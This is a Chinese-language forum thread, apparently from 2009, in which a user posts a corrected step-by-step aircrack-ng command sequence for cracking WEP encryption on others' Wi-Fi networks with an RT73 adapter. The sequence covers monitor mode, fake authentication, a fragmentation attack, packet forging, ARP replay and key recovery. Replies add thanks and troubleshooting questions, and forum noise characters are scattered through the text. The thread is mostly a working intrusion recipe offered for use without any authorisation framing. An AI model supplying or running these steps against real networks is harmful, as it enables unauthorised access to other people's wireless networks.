RT73破解WEP加密详细步骤（前几天回贴中错了一条命令）

web4me

今天帮朋友破解WEP加密，发现前几天回贴中第4条命令用错了，原贴是aireplay,正确的是airodump,现纠正过来：
( \0 \8 q3 v4 b* ]: ]我用RTL8187成功破解几个无线信号后的总结，按此进行包你成功
, n# [' n  A1 U' A4 S$ ]RT73无线网卡命令
5 x0 m6 M8 @6 N- w9 u9 q  NShell1:
: ~8 B1 n+ q5 j" Y. G" h1. ifconfig –a （查看PC的网卡）
2. ifconfig –a rausb0 up  （加载网卡驱动）
4 r2 r: _5 P# x; h: Y3. airmon-ng start rausb0 6  （激活网卡的monitor模式，6根据情况变化）
* R, z  d/ m, z# ?- ^8 X0 X& J7 I4. airodump-ng --ivs –w name –c 6 rausb0
# O. b3 C* w% E3 A（列出该频道的所有AP）
Shell2:
5. iwconfig rausb0 rate 2M  （降低网卡的速率）
6. aireplay-ng -1 0 –e ap_essid –a ap_mac –h pc_mac rausb0  
4 U! V8 e# e3 u（用欺骗方式连上AP，ap_essid注意大小写）
: z' Y; W: d% B* L7. aireplay-ng -5 –b ap_mac -h pc_mac rausb0 （抓获数据包后提示是否用该包模拟攻击，输入Y攻击，成功后显示fragment-****.xor文件）
8. packetforge-ng -0 –a ap_mac –h pc_mac –k 255.255.255.255 –l 255.255.255.255 –y fragment-****.xor –w mrarp （-l为-L，别错了）
8 e- L6 q3 e' n9. aireplay-ng -2 –r mrarp –x 256 rausb0 （发攻击包，一般#DAATE达到3万以后进行下一步，256可以更改为128、512、1024）
; ?& X# O; A. F% @8 Q4 n6 t* TShell3:
7 r, S0 T5 E* N& H; I; z- @10. aircrack-ng –n 64 –b ap_mac name-01.ivs （成功后显示密码的ASCII码）本文地址:http://forum.anywlan.com/thread-26169-1-1.html

语笑嫣然

对待论坛 对待自己发的帖子负责到底  值得表扬呀 呵呵

人七十

不错，很详细

yangziye

我的是IBM的不知道是什么网卡

liangyi110

很不错,来都来了,留个印记嘛!

xiaoyuer123

谢谢分享,正等着呢,再问一下,用什么驱动?

pc007

我的RT73输入airodump-ng --ivs –w name –c 6 rausb0命令不能捕获无线AP，
请问楼主有何办法捕获无线AP

wesley_joe

我的RT73输入airodump-ng --ivs –w name –c 6 rausb0命令不能捕获无线AP，
请问楼主有何办法捕获无线AP
pc007 发表于 2009-6-2 10:28

/ r* `6 d9 o* H' O) }
我也一样的问题，无法搜到AP，求解~

squallking

支持楼主的贡献

孙中孝

不错，很详细!!!!!!!!!!!

一再错过

应该是支持的了。你找个好点的信号试试。